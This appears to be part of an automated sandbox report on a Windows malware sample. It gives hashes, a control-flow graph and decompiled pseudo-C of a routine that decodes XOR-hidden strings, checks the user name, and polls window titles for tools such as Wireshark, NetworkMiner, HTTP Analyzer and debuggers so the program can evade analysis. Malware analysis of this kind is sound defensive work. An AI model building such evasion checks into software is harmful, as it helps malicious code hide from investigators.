                                                          • String ID: @$DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!$v+@
                                                          • API String ID: 1452528299-3666885587
                                                          • Opcode ID: ce0b6ba3c7f08ce00cb437c0cd81f476a8ad27299f5e07271d5d503724786e68
                                                          • Instruction ID: ee8b362cb5bcb5acb02f75210dba8d77fdcb81ba509aa6813b7c3456fb0d570c
                                                          • Opcode Fuzzy Hash: ce0b6ba3c7f08ce00cb437c0cd81f476a8ad27299f5e07271d5d503724786e68
                                                          • Instruction Fuzzy Hash: 92128C71A012159BCB14CFA9D981BADBBB5FF48305F14416AE809AB3C1D7B8ED41CB98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 292 4056a0-405720 293 405722-405736 call 40ef48 292->293 294 405767-40576e 292->294 293->294 301 405738-405764 call 40f25b call 40eefe 293->301 295 405770-405795 294->295 296 40579a-4057c4 294->296 295->296 298 4057c7-4057cc 296->298 298->298 300 4057ce-40582c call 4026b0 GetUserNameA 298->300 307 405830-405835 300->307 301->294 307->307 309 405837-405868 call 4026b0 call 40ca60 307->309 314 405899-4058a6 309->314 315 40586a-405879 309->315 318 4058d7-4058d9 314->318 319 4058a8-4058b7 314->319 316 40587b-405889 315->316 317 40588f-405896 call 40edff 315->317 316->317 320 405e94-405e99 call 413527 316->320 317->314 324 405e74-405e91 call 40ebbf 318->324 325 4058df-4058f6 318->325 322 4058b9-4058c7 319->322 323 4058cd-4058d4 call 40edff 319->323 322->320 322->323 323->318 330 405936-40593d 325->330 331 4058f8-40590c call 40ef48 325->331 334 40595e-40598b 330->334 335 40593f-405959 330->335 331->330 340 40590e-405933 call 40f25b call 40eefe 331->340 339 405990-405995 334->339 335->334 339->339 341 405997-4059ef call 4026b0 GetUserNameA 339->341 340->330 347 4059f0-4059f5 341->347 347->347 349 4059f7-405a28 call 4026b0 call 40ca60 347->349 354 405a59-405a66 349->354 355 405a2a-405a39 349->355 358 405a97-405a99 354->358 359 405a68-405a77 354->359 356 405a3b-405a49 355->356 357 405a4f-405a56 call 40edff 355->357 356->320 356->357 357->354 358->324 363 405a9f-405ac7 358->363 361 405a79-405a87 359->361 362 405a8d-405a94 call 40edff 359->362 361->320 361->362 362->358 364 405b13-405b1a 363->364 365 405ac9-405add call 40ef48 363->365 369 405b62-405b8f 364->369 370 405b1c-405b5d 364->370 365->364 374 405adf-405b10 call 40f25b call 40eefe 365->374 373 405b90-405b95 369->373 370->369 373->373 375 405b97-405bef call 4026b0 GetUserNameA 373->375 374->364 381 405bf0-405bf5 375->381 381->381 382 405bf7-405c28 call 4026b0 call 40ca60 381->382 388 405c59-405c66 382->388 389 405c2a-405c39 382->389 392 405c97-405c99 388->392 393 405c68-405c77 388->393 390 405c3b-405c49 389->390 391 405c4f-405c56 call 40edff 389->391 390->320 390->391 391->388 392->324 394 405c9f-405cbe GetForegroundWindow GetWindowTextA 392->394 396 405c79-405c87 393->396 397 405c8d-405c94 call 40edff 393->397 398 405cc1-405cc6 394->398 396->320 396->397 397->392 398->398 401 405cc8-405cf3 call 4026b0 call 4101e0 398->401 407 405cf9-405cff 401->407 408 405e3e-405e47 401->408 409 405d00-405d16 call 4101e0 407->409 408->324 410 405e49-405e58 408->410 409->408 416 405d1c-405d32 call 4101e0 409->416 412 405e6a-405e71 call 40edff 410->412 413 405e5a-405e68 410->413 412->324 413->320 413->412 416->408 420 405d38-405d4e call 4101e0 416->420 420->408 423 405d54-405d6a call 4101e0 420->423 423->408 426 405d70-405d79 423->426 427 405d80-405d85 426->427 427->427 428 405d87-405d8d 427->428 429 405dad-405dc3 call 4101e0 428->429 430 405d8f 428->430 429->408 436 405dc5-405ddb call 4101e0 429->436 431 405d90-405dab call 418275 430->431 431->429 436->408 439 405ddd-405e03 Sleep GetForegroundWindow GetWindowTextA 436->439 440 405e06-405e0b 439->440 440->440 441 405e0d-405e38 call 4026b0 call 4101e0 440->441 441->408 441->409
                                                          C-Code - Quality: 77%
                                                          			E004056A0(void* __ebx, void* __ecx, void* __edi) {
                                                          				long _v8;
                                                          				intOrPtr* _v12;
                                                          				long _v16;
                                                          				signed int _v20;
                                                          				signed int _v24;
                                                          				signed int _v28;
                                                          				void _v96;
                                                          				struct _SID_IDENTIFIER_AUTHORITY _v104;
                                                          				long _v108;
                                                          				void* _v112;
                                                          				void* _v116;
                                                          				char _v284;
                                                          				char _v288;
                                                          				int _v292;
                                                          				char _v296;
                                                          				char _v300;
                                                          				long _v304;
                                                          				long _v308;
                                                          				intOrPtr _v312;
                                                          				char _v313;
                                                          				long _v320;
                                                          				long _v324;
                                                          				long _v328;
                                                          				long _v332;
                                                          				long _v340;
                                                          				long* _v344;
                                                          				long _v348;
                                                          				long _v352;
                                                          				long _v356;
                                                          				long _v364;
                                                          				long _v372;
                                                          				char _v428;
                                                          				signed int _v432;
                                                          				long _v696;
                                                          				intOrPtr _v700;
                                                          				signed int _v792;
                                                          				short _v872;
                                                          				long _v876;
                                                          				void* _v884;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t234;
                                                          				signed int _t235;
                                                          				intOrPtr _t238;
                                                          				signed char _t239;
                                                          				signed char _t240;
                                                          				CHAR _t245;
                                                          				void* _t248;
                                                          				signed char _t252;
                                                          				signed int _t253;
                                                          				intOrPtr _t258;
                                                          				void* _t261;
                                                          				intOrPtr _t262;
                                                          				signed char _t263;
                                                          				signed char _t264;
                                                          				intOrPtr _t269;
                                                          				void* _t272;
                                                          				struct HWND__* _t273;
                                                          				intOrPtr _t275;
                                                          				void* _t279;
                                                          				intOrPtr* _t280;
                                                          				long _t285;
                                                          				void* _t286;
                                                          				signed int _t289;
                                                          				signed int _t290;
                                                          				intOrPtr _t293;
                                                          				signed char _t294;
                                                          				signed int _t295;
                                                          				signed int _t297;
                                                          				int _t298;
                                                          				intOrPtr _t300;
                                                          				signed char _t301;
                                                          				signed int _t302;
                                                          				signed int _t304;
                                                          				intOrPtr _t305;
                                                          				signed char _t306;
                                                          				signed int _t307;
                                                          				signed int _t309;
                                                          				struct HWND__* _t310;
                                                          				intOrPtr _t312;
                                                          				signed int _t313;
                                                          				signed int _t318;
                                                          				long _t319;
                                                          				signed int _t324;
                                                          				signed int _t328;
                                                          				signed int _t333;
                                                          				signed int _t337;
                                                          				int _t338;
                                                          				long _t343;
                                                          				intOrPtr _t347;
                                                          				signed char _t348;
                                                          				signed int _t349;
                                                          				signed int _t354;
                                                          				signed int _t355;
                                                          				signed int _t360;
                                                          				signed int _t366;
                                                          				signed int _t371;
                                                          				signed int _t376;
                                                          				void* _t382;
                                                          				void* _t386;
                                                          				void* _t388;
                                                          				void* _t390;
                                                          				void* _t392;
                                                          				intOrPtr _t393;
                                                          				void* _t395;
                                                          				void* _t397;
                                                          				struct HWND__* _t398;
                                                          				intOrPtr _t400;
                                                          				void* _t404;
                                                          				long _t407;
                                                          				long _t411;
                                                          				long _t420;
                                                          				long _t424;
                                                          				long _t433;
                                                          				long _t437;
                                                          				void* _t448;
                                                          				void* _t449;
                                                          				void* _t451;
                                                          				intOrPtr _t452;
                                                          				void* _t454;
                                                          				signed int _t456;
                                                          				void* _t457;
                                                          				void* _t458;
                                                          				signed char* _t459;
                                                          				CHAR* _t462;
                                                          				signed int* _t470;
                                                          				intOrPtr* _t473;
                                                          				signed char* _t477;
                                                          				intOrPtr* _t480;
                                                          				intOrPtr* _t485;
                                                          				intOrPtr* _t488;
                                                          				signed char* _t489;
                                                          				signed char* _t496;
                                                          				signed char* _t499;
                                                          				intOrPtr* _t503;
                                                          				long _t506;
                                                          				long _t511;
                                                          				signed char* _t512;
                                                          				void* _t518;
                                                          				intOrPtr* _t520;
                                                          				long _t523;
                                                          				long _t524;
                                                          				signed char* _t525;
                                                          				void* _t526;
                                                          				long _t528;
                                                          				long _t529;
                                                          				signed int* _t530;
                                                          				void* _t531;
                                                          				long _t533;
                                                          				signed char* _t534;
                                                          				void* _t535;
                                                          				long _t537;
                                                          				void* _t538;
                                                          				intOrPtr* _t539;
                                                          				void* _t541;
                                                          				long* _t542;
                                                          				void* _t543;
                                                          				void* _t544;
                                                          				void* _t545;
                                                          				void* _t546;
                                                          				void* _t548;
                                                          				void* _t549;
                                                          				intOrPtr _t550;
                                                          				signed char* _t552;
                                                          				void* _t553;
                                                          				signed char* _t554;
                                                          				signed char* _t555;
                                                          				intOrPtr _t556;
                                                          				intOrPtr _t560;
                                                          				void* _t561;
                                                          				intOrPtr* _t562;
                                                          				intOrPtr _t564;
                                                          				void* _t565;
                                                          				void* _t567;
                                                          				intOrPtr* _t568;
                                                          				signed int _t569;
                                                          				void* _t570;
                                                          				signed int _t571;
                                                          				signed int _t572;
                                                          				void* _t573;
                                                          				void* _t574;
                                                          				signed int _t576;
                                                          				void* _t577;
                                                          				long* _t578;
                                                          				long* _t579;
                                                          				long* _t580;
                                                          				long* _t581;
                                                          				long* _t582;
                                                          				long* _t583;
                                                          				signed int _t584;
                                                          
                                                          				_t458 = __ecx;
                                                          				_t447 = __ebx;
                                                          				_push(0xffffffff);
                                                          				_push(E0042C6B1);
                                                          				_push( *[fs:0x0]);
                                                          				_t574 = _t573 - 0x168;
                                                          				_t234 =  *0x43d054; // 0x6e36c9b5
                                                          				_t235 = _t234 ^ _t569;
                                                          				_v24 = _t235;
                                                          				_push(__ebx);
                                                          				_push(__edi);
                                                          				_push(_t235);
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_v324 = 0;
                                                          				_v308 = 0;
                                                          				_v304 = 0xf;
                                                          				_v324 = 0;
                                                          				_v8 = 0;
                                                          				_v296 = 0x47434a4f;
                                                          				_v292 = 0x2e40;
                                                          				_t560 =  *((intOrPtr*)( *[fs:0x2c]));
                                                          				_t238 =  *0x450ef4; // 0x0
                                                          				if(_t238 >  *((intOrPtr*)(_t560 + 4))) {
                                                          					E0040EF48(_t238, 0x450ef4);
                                                          					_t574 = _t574 + 4;
                                                          					_t594 =  *0x450ef4 - 0xffffffff;
                                                          					if( *0x450ef4 == 0xffffffff) {
                                                          						_t11 =  &_v296; // 0x47434a4f
                                                          						 *0x450f14 =  *_t11;
                                                          						 *0x450f18 = _v292;
                                                          						E0040F25B(_t458, _t594, E0042CF30);
                                                          						E0040EEFE(0x450ef4);
                                                          						_t574 = _t574 + 8;
                                                          					}
                                                          				}
                                                          				_t239 =  *0x450f19; // 0x0
                                                          				if(_t239 != 0) {
                                                          					 *0x450f14 =  *0x450f14 ^ 0x0000002e;
                                                          					 *0x450f15 =  *0x450f15 ^ 0x0000002e;
                                                          					 *0x450f16 =  *0x450f16 ^ 0x0000002e;
                                                          					 *0x450f17 =  *0x450f17 ^ 0x0000002e;
                                                          					 *0x450f18 =  *0x450f18 ^ 0x0000002e;
                                                          					 *0x450f19 = _t239 ^ 0x0000002e;
                                                          				}
                                                          				_t459 = 0x450f14;
                                                          				_v348 = 0;
                                                          				_v332 = 0;
                                                          				_v328 = 0xf;
                                                          				_v348 = 0;
                                                          				_t17 =  &(_t459[1]); // 0x450f15
                                                          				_t525 = _t17;
                                                          				goto L6;
                                                          				do {
                                                          					L8:
                                                          					_t245 =  *_t462;
                                                          					_t462 = _t462 + 1;
                                                          				} while (_t245 != 0);
                                                          				E004026B0(_t447,  &_v372,  &_v288, _t462 - _t526);
                                                          				_t465 =  &_v372;
                                                          				_t248 = E0040CA60( &_v372,  &_v348);
                                                          				_t528 = _v352;
                                                          				_t448 = _t248;
                                                          				if(_t528 < 0x10) {
                                                          					L13:
                                                          					_v8 = 0;
                                                          					_t529 = _v328;
                                                          					if(_t529 < 0x10) {
                                                          						L17:
                                                          						if(_t448 != 0) {
                                                          							L76:
                                                          							 *[fs:0x0] = _v16;
                                                          							_pop(_t549);
                                                          							_pop(_t561);
                                                          							_pop(_t449);
                                                          							return E0040EBBF(0, _t449, _v24 ^ _t569, _t529, _t549, _t561);
                                                          						} else {
                                                          							_t251 =  *0x451000;
                                                          							_v296 = 0x464f467d;
                                                          							if( *0x451000 >  *((intOrPtr*)(_t560 + 4))) {
                                                          								E0040EF48(_t251, 0x451000);
                                                          								_t574 = _t574 + 4;
                                                          								_t608 =  *0x451000 - 0xffffffff;
                                                          								if( *0x451000 == 0xffffffff) {
                                                          									_t41 =  &_v296; // 0x464f467d
                                                          									 *0x451010 =  *_t41;
                                                          									 *0x451014 = 0x2e;
                                                          									E0040F25B(_t465, _t608, E0042CF10);
                                                          									E0040EEFE(0x451000);
                                                          									_t574 = _t574 + 8;
                                                          								}
                                                          							}
                                                          							_t252 =  *0x451014;
                                                          							if(_t252 != 0) {
                                                          								 *0x451010 =  *0x451010 ^ 0x0000002e;
                                                          								 *0x451011 =  *0x451011 ^ 0x0000002e;
                                                          								 *0x451012 =  *0x451012 ^ 0x0000002e;
                                                          								 *0x451013 =  *0x451013 ^ 0x0000002e;
                                                          								 *0x451014 = _t252 ^ 0x0000002e;
                                                          							}
                                                          							_t470 = 0x451010;
                                                          							_v348 = 0;
                                                          							_v332 = 0;
                                                          							_v328 = 0xf;
                                                          							_v348 = 0;
                                                          							_t46 =  &(_t470[0]); // 0x451011
                                                          							_t530 = _t46;
                                                          							do {
                                                          								_t253 =  *_t470;
                                                          								_t470 =  &(_t470[0]);
                                                          							} while (_t253 != 0);
                                                          							E004026B0(0x2e,  &_v348, 0x451010, _t470 - _t530);
                                                          							_t48 =  &_v296; // 0x464f467d
                                                          							_v8 = 2;
                                                          							_v296 = 0x101;
                                                          							GetUserNameA( &_v288, _t48);
                                                          							_t473 =  &_v288;
                                                          							_v372 = 0;
                                                          							_v356 = 0;
                                                          							_t531 = _t473 + 1;
                                                          							_v352 = 0xf;
                                                          							do {
                                                          								_t258 =  *_t473;
                                                          								_t473 = _t473 + 1;
                                                          							} while (_t258 != 0);
                                                          							E004026B0(0x2e,  &_v372,  &_v288, _t473 - _t531);
                                                          							_t476 =  &_v372;
                                                          							_t261 = E0040CA60( &_v372,  &_v348);
                                                          							_t533 = _v352;
                                                          							_t451 = _t261;
                                                          							if(_t533 < 0x10) {
                                                          								L31:
                                                          								_v8 = 0;
                                                          								_t529 = _v328;
                                                          								if(_t529 < 0x10) {
                                                          									L35:
                                                          									if(_t451 != 0) {
                                                          										goto L76;
                                                          									} else {
                                                          										_t262 =  *0x450eec; // 0x0
                                                          										_v300 = 0x5a5d4b5a;
                                                          										_v296 = 0x4d404b6c;
                                                          										_v292 = 0x2e46;
                                                          										if(_t262 >  *((intOrPtr*)(_t560 + 4))) {
                                                          											E0040EF48(_t262, 0x450eec);
                                                          											_t574 = _t574 + 4;
                                                          											_t622 =  *0x450eec - 0xffffffff;
                                                          											if( *0x450eec == 0xffffffff) {
                                                          												asm("movq xmm0, [ebp-0x128]");
                                                          												asm("movq [0x450d30], xmm0");
                                                          												 *0x450d38 = _v292;
                                                          												E0040F25B(_t476, _t622, E0042CEF0);
                                                          												E0040EEFE(0x450eec);
                                                          												_t574 = _t574 + 8;
                                                          											}
                                                          										}
                                                          										_t263 =  *0x450d39; // 0x0
                                                          										if(_t263 != 0) {
                                                          											 *0x450d30 =  *0x450d30 ^ 0x0000002e;
                                                          											 *0x450d31 =  *0x450d31 ^ 0x0000002e;
                                                          											 *0x450d32 =  *0x450d32 ^ 0x0000002e;
                                                          											 *0x450d33 =  *0x450d33 ^ 0x0000002e;
                                                          											 *0x450d34 =  *0x450d34 ^ 0x0000002e;
                                                          											 *0x450d35 =  *0x450d35 ^ 0x0000002e;
                                                          											 *0x450d36 =  *0x450d36 ^ 0x0000002e;
                                                          											 *0x450d37 =  *0x450d37 ^ 0x0000002e;
                                                          											 *0x450d38 =  *0x450d38 ^ 0x0000002e;
                                                          											 *0x450d39 = _t263 ^ 0x0000002e;
                                                          										}
                                                          										_t477 = 0x450d30;
                                                          										_v348 = 0;
                                                          										_v332 = 0;
                                                          										_v328 = 0xf;
                                                          										_v348 = 0;
                                                          										_t77 =  &(_t477[1]); // 0x450d31
                                                          										_t534 = _t77;
                                                          										do {
                                                          											_t264 =  *_t477;
                                                          											_t477 =  &(_t477[1]);
                                                          										} while (_t264 != 0);
                                                          										E004026B0(_t451,  &_v348, 0x450d30, _t477 - _t534);
                                                          										_t79 =  &_v296; // 0x4d404b6c
                                                          										_v8 = 3;
                                                          										_v296 = 0x101;
                                                          										GetUserNameA( &_v288, _t79);
                                                          										_t480 =  &_v288;
                                                          										_v372 = 0;
                                                          										_v356 = 0;
                                                          										_t535 = _t480 + 1;
                                                          										_v352 = 0xf;
                                                          										do {
                                                          											_t269 =  *_t480;
                                                          											_t480 = _t480 + 1;
                                                          										} while (_t269 != 0);
                                                          										E004026B0(_t451,  &_v372,  &_v288, _t480 - _t535);
                                                          										_t272 = E0040CA60( &_v372,  &_v348);
                                                          										_t537 = _v352;
                                                          										_t451 = _t272;
                                                          										if(_t537 < 0x10) {
                                                          											L49:
                                                          											_v8 = 0;
                                                          											_t529 = _v328;
                                                          											if(_t529 < 0x10) {
                                                          												L53:
                                                          												if(_t451 != 0) {
                                                          													goto L76;
                                                          												} else {
                                                          													_t273 = GetForegroundWindow(); // executed
                                                          													GetWindowTextA(_t273,  &_v288, 0xc8);
                                                          													_t485 =  &_v288;
                                                          													_t538 = _t485 + 1;
                                                          													do {
                                                          														_t275 =  *_t485;
                                                          														_t485 = _t485 + 1;
                                                          													} while (_t275 != 0);
                                                          													E004026B0(_t451,  &_v324,  &_v288, _t485 - _t538);
                                                          													_t279 = E004101E0( &_v288, " Far ");
                                                          													_t574 = _t574 + 8;
                                                          													if(_t279 == 0) {
                                                          														_t451 = Sleep;
                                                          														while(1) {
                                                          															_t386 = E004101E0( &_v288, "roxifier");
                                                          															_t574 = _t574 + 8;
                                                          															if(_t386 != 0) {
                                                          																goto L72;
                                                          															}
                                                          															_t388 = E004101E0( &_v288, "HTTP Analyzer");
                                                          															_t574 = _t574 + 8;
                                                          															if(_t388 == 0) {
                                                          																_t390 = E004101E0( &_v288, "Wireshark");
                                                          																_t574 = _t574 + 8;
                                                          																if(_t390 == 0) {
                                                          																	_t392 = E004101E0( &_v288, "NetworkMiner");
                                                          																	_t574 = _t574 + 8;
                                                          																	if(_t392 == 0) {
                                                          																		_t568 =  &_v288;
                                                          																		_t518 = _t568 + 1;
                                                          																		do {
                                                          																			_t393 =  *_t568;
                                                          																			_t568 = _t568 + 1;
                                                          																		} while (_t393 != 0);
                                                          																		_t560 = _t568 - _t518;
                                                          																		_t548 = 0;
                                                          																		if(_t560 > 0) {
                                                          																			do {
                                                          																				 *((char*)(_t569 + _t548 - 0x11c)) = E00418275( *((char*)(_t569 + _t548 - 0x11c)));
                                                          																				_t574 = _t574 + 4;
                                                          																				_t548 = _t548 + 1;
                                                          																			} while (_t548 < _t560);
                                                          																		}
                                                          																		_t395 = E004101E0( &_v288, "dbg");
                                                          																		_t574 = _t574 + 8;
                                                          																		if(_t395 == 0) {
                                                          																			_t397 = E004101E0( &_v288, "debug");
                                                          																			_t574 = _t574 + 8;
                                                          																			if(_t397 == 0) {
                                                          																				Sleep(0x258); // executed
                                                          																				_t398 = GetForegroundWindow(); // executed
                                                          																				GetWindowTextA(_t398,  &_v288, 0xc8);
                                                          																				_t520 =  &_v288;
                                                          																				_t543 = _t520 + 1;
                                                          																				do {
                                                          																					_t400 =  *_t520;
                                                          																					_t520 = _t520 + 1;
                                                          																				} while (_t400 != 0);
                                                          																				E004026B0(_t451,  &_v324,  &_v288, _t520 - _t543);
                                                          																				_t404 = E004101E0( &_v288, " Far ");
                                                          																				_t574 = _t574 + 8;
                                                          																				if(_t404 == 0) {
                                                          																					continue;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																}
                                                          															}
                                                          															goto L72;
                                                          														}
                                                          													}
                                                          													L72:
                                                          													_t529 = _v304;
                                                          													if(_t529 < 0x10) {
                                                          														goto L76;
                                                          													} else {
                                                          														_t488 = _v324;
                                                          														_t529 = _t529 + 1;
                                                          														_t280 = _t488;
                                                          														if(_t529 < 0x1000) {
                                                          															L75:
                                                          															_push(_t529);
                                                          															E0040EDFF(_t488);
                                                          															goto L76;
                                                          														} else {
                                                          															_t488 =  *((intOrPtr*)(_t488 - 4));
                                                          															_t529 = _t529 + 0x23;
                                                          															if(_t280 - _t488 + 0xfffffffc > 0x1f) {
                                                          																goto L77;
                                                          															} else {
                                                          																goto L75;
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											} else {
                                                          												_t523 = _v348;
                                                          												_t529 = _t529 + 1;
                                                          												_t407 = _t523;
                                                          												if(_t529 < 0x1000) {
                                                          													L52:
                                                          													_push(_t529);
                                                          													E0040EDFF(_t523);
                                                          													_t574 = _t574 + 8;
                                                          													goto L53;
                                                          												} else {
                                                          													_t488 =  *((intOrPtr*)(_t523 - 4));
                                                          													_t529 = _t529 + 0x23;
                                                          													if(_t407 - _t488 + 0xfffffffc > 0x1f) {
                                                          														goto L77;
                                                          													} else {
                                                          														goto L52;
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t524 = _v372;
                                                          											_t544 = _t537 + 1;
                                                          											_t411 = _t524;
                                                          											if(_t544 < 0x1000) {
                                                          												L48:
                                                          												_push(_t544);
                                                          												E0040EDFF(_t524);
                                                          												_t574 = _t574 + 8;
                                                          												goto L49;
                                                          											} else {
                                                          												_t488 =  *((intOrPtr*)(_t524 - 4));
                                                          												_t529 = _t544 + 0x23;
                                                          												if(_t411 - _t488 + 0xfffffffc > 0x1f) {
                                                          													goto L77;
                                                          												} else {
                                                          													goto L48;
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_t476 = _v348;
                                                          									_t529 = _t529 + 1;
                                                          									_t420 = _t476;
                                                          									if(_t529 < 0x1000) {
                                                          										L34:
                                                          										_push(_t529);
                                                          										E0040EDFF(_t476);
                                                          										_t574 = _t574 + 8;
                                                          										goto L35;
                                                          									} else {
                                                          										_t488 =  *((intOrPtr*)(_t476 - 4));
                                                          										_t529 = _t529 + 0x23;
                                                          										if(_t420 - _t488 + 0xfffffffc > 0x1f) {
                                                          											goto L77;
                                                          										} else {
                                                          											goto L34;
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								_t476 = _v372;
                                                          								_t545 = _t533 + 1;
                                                          								_t424 = _t476;
                                                          								if(_t545 < 0x1000) {
                                                          									L30:
                                                          									_push(_t545);
                                                          									E0040EDFF(_t476);
                                                          									_t574 = _t574 + 8;
                                                          									goto L31;
                                                          								} else {
                                                          									_t488 =  *((intOrPtr*)(_t476 - 4));
                                                          									_t529 = _t545 + 0x23;
                                                          									if(_t424 - _t488 + 0xfffffffc > 0x1f) {
                                                          										goto L77;
                                                          									} else {
                                                          										goto L30;
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					} else {
                                                          						_t465 = _v348;
                                                          						_t529 = _t529 + 1;
                                                          						_t433 = _t465;
                                                          						if(_t529 < 0x1000) {
                                                          							L16:
                                                          							_push(_t529);
                                                          							E0040EDFF(_t465);
                                                          							_t574 = _t574 + 8;
                                                          							goto L17;
                                                          						} else {
                                                          							_t488 =  *((intOrPtr*)(_t465 - 4));
                                                          							_t529 = _t529 + 0x23;
                                                          							if(_t433 - _t488 + 0xfffffffc > 0x1f) {
                                                          								goto L77;
                                                          							} else {
                                                          								goto L16;
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t465 = _v372;
                                                          					_t546 = _t528 + 1;
                                                          					_t437 = _t465;
                                                          					if(_t546 < 0x1000) {
                                                          						L12:
                                                          						_push(_t546);
                                                          						E0040EDFF(_t465);
                                                          						_t574 = _t574 + 8;
                                                          						goto L13;
                                                          					} else {
                                                          						_t488 =  *((intOrPtr*)(_t465 - 4));
                                                          						_t529 = _t546 + 0x23;
                                                          						if(_t437 - _t488 + 0xfffffffc > 0x1f) {
                                                          							L77:
                                                          							E00413527(_t451, _t529, __eflags);
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							_push(_t569);
                                                          							_t570 = _t574;
                                                          							_push(_t488);
                                                          							__eflags =  *((intOrPtr*)(_t529 + 0x14)) - 0x10;
                                                          							_t285 = _t529;
                                                          							_push(_t451);
                                                          							_push(_t560);
                                                          							_push(_t548);
                                                          							_t562 = _t488;
                                                          							if( *((intOrPtr*)(_t529 + 0x14)) >= 0x10) {
                                                          								_t285 =  *_t529;
                                                          							}
                                                          							__eflags =  *((intOrPtr*)(_t562 + 0x14)) - 0x10;
                                                          							if( *((intOrPtr*)(_t562 + 0x14)) >= 0x10) {
                                                          								_t488 =  *_t562;
                                                          							}
                                                          							_t452 =  *((intOrPtr*)(_t529 + 0x10));
                                                          							_t539 = _t562 + 0x10;
                                                          							_t550 =  *_t539;
                                                          							_v12 = _t539;
                                                          							_t286 = E00402890(_t488, _t550, _t488, _t285, _t452);
                                                          							_t541 = _t286;
                                                          							_t576 = _t574 + 0xc;
                                                          							__eflags = _t541 - 0xffffffff;
                                                          							if(_t541 == 0xffffffff) {
                                                          								L87:
                                                          								return _t286;
                                                          							} else {
                                                          								__eflags = _t550 - _t541;
                                                          								if(_t550 < _t541) {
                                                          									E004027F0(_t488, _t541);
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									_push(_t570);
                                                          									_t571 = _t576;
                                                          									_push(0xffffffff);
                                                          									_push(E0042C707);
                                                          									_push( *[fs:0x0]);
                                                          									_t577 = _t576 - 0x154;
                                                          									_t289 =  *0x43d054; // 0x6e36c9b5
                                                          									_t290 = _t289 ^ _t571;
                                                          									_v432 = _t290;
                                                          									_push(_t452);
                                                          									_push(_t562);
                                                          									_push(_t550);
                                                          									_push(_t290);
                                                          									 *[fs:0x0] =  &_v428;
                                                          									_v696 = 0;
                                                          									_v700 = 0x455d4f5a;
                                                          									_v696 = 0x2e5c4943;
                                                          									_t564 =  *((intOrPtr*)( *[fs:0x2c]));
                                                          									_t293 =  *0x450ee8; // 0x80000010
                                                          									__eflags = _t293 -  *((intOrPtr*)(_t564 + 4));
                                                          									if(_t293 >  *((intOrPtr*)(_t564 + 4))) {
                                                          										E0040EF48(_t293, 0x450ee8);
                                                          										_t577 = _t577 + 4;
                                                          										__eflags =  *0x450ee8 - 0xffffffff;
                                                          										if(__eflags == 0) {
                                                          											_t143 =  &_v296; // 0x455d4f5a
                                                          											_t144 =  &_v292; // 0x2e5c4943
                                                          											 *0x450d40 =  *_t143;
                                                          											 *0x450d44 =  *_t144;
                                                          											E0040F25B( *_t144, __eflags, E0042CFC0);
                                                          											E0040EEFE(0x450ee8);
                                                          											_t577 = _t577 + 8;
                                                          										}
                                                          									}
                                                          									_t294 =  *0x450d47; // 0x0
                                                          									__eflags = _t294;
                                                          									if(_t294 != 0) {
                                                          										 *0x450d40 =  *0x450d40 ^ 0x0000002e;
                                                          										 *0x450d41 =  *0x450d41 ^ 0x0000002e;
                                                          										 *0x450d42 =  *0x450d42 ^ 0x0000002e;
                                                          										 *0x450d43 =  *0x450d43 ^ 0x0000002e;
                                                          										 *0x450d44 =  *0x450d44 ^ 0x0000002e;
                                                          										 *0x450d45 =  *0x450d45 ^ 0x0000002e;
                                                          										 *0x450d46 =  *0x450d46 ^ 0x0000002e;
                                                          										_t376 = _t294 ^ 0x0000002e;
                                                          										__eflags = _t376;
                                                          										 *0x450d47 = _t376;
                                                          									}
                                                          									_t578 = _t577 - 0x18;
                                                          									_t489 = 0x450d40;
                                                          									_t542 = _t578;
                                                          									_t145 =  &(_t489[1]); // 0x450d41
                                                          									_t552 = _t145;
                                                          									 *_t542 = 0;
                                                          									_t542[4] = 0;
                                                          									_t542[5] = 0xf;
                                                          									asm("o16 nop [eax+eax]");
                                                          									do {
                                                          										_t295 =  *_t489;
                                                          										_t489 =  &(_t489[1]);
                                                          										__eflags = _t295;
                                                          									} while (_t295 != 0);
                                                          									E004026B0(_t452, _t542, 0x450d40, _t489 - _t552); // executed
                                                          									_t297 = E00405350(_t452); // executed
                                                          									_t579 =  &(_t578[6]);
                                                          									__eflags = _t297;
                                                          									if(_t297 != 0) {
                                                          										L145:
                                                          										_t298 = 1;
                                                          										goto L146;
                                                          									} else {
                                                          										_t300 =  *0x450fbc; // 0x80000011
                                                          										_v296 = 0x455d4f7a;
                                                          										_v292 = 0x2e5c4943;
                                                          										__eflags = _t300 -  *((intOrPtr*)(_t564 + 4));
                                                          										if(_t300 >  *((intOrPtr*)(_t564 + 4))) {
                                                          											E0040EF48(_t300, 0x450fbc);
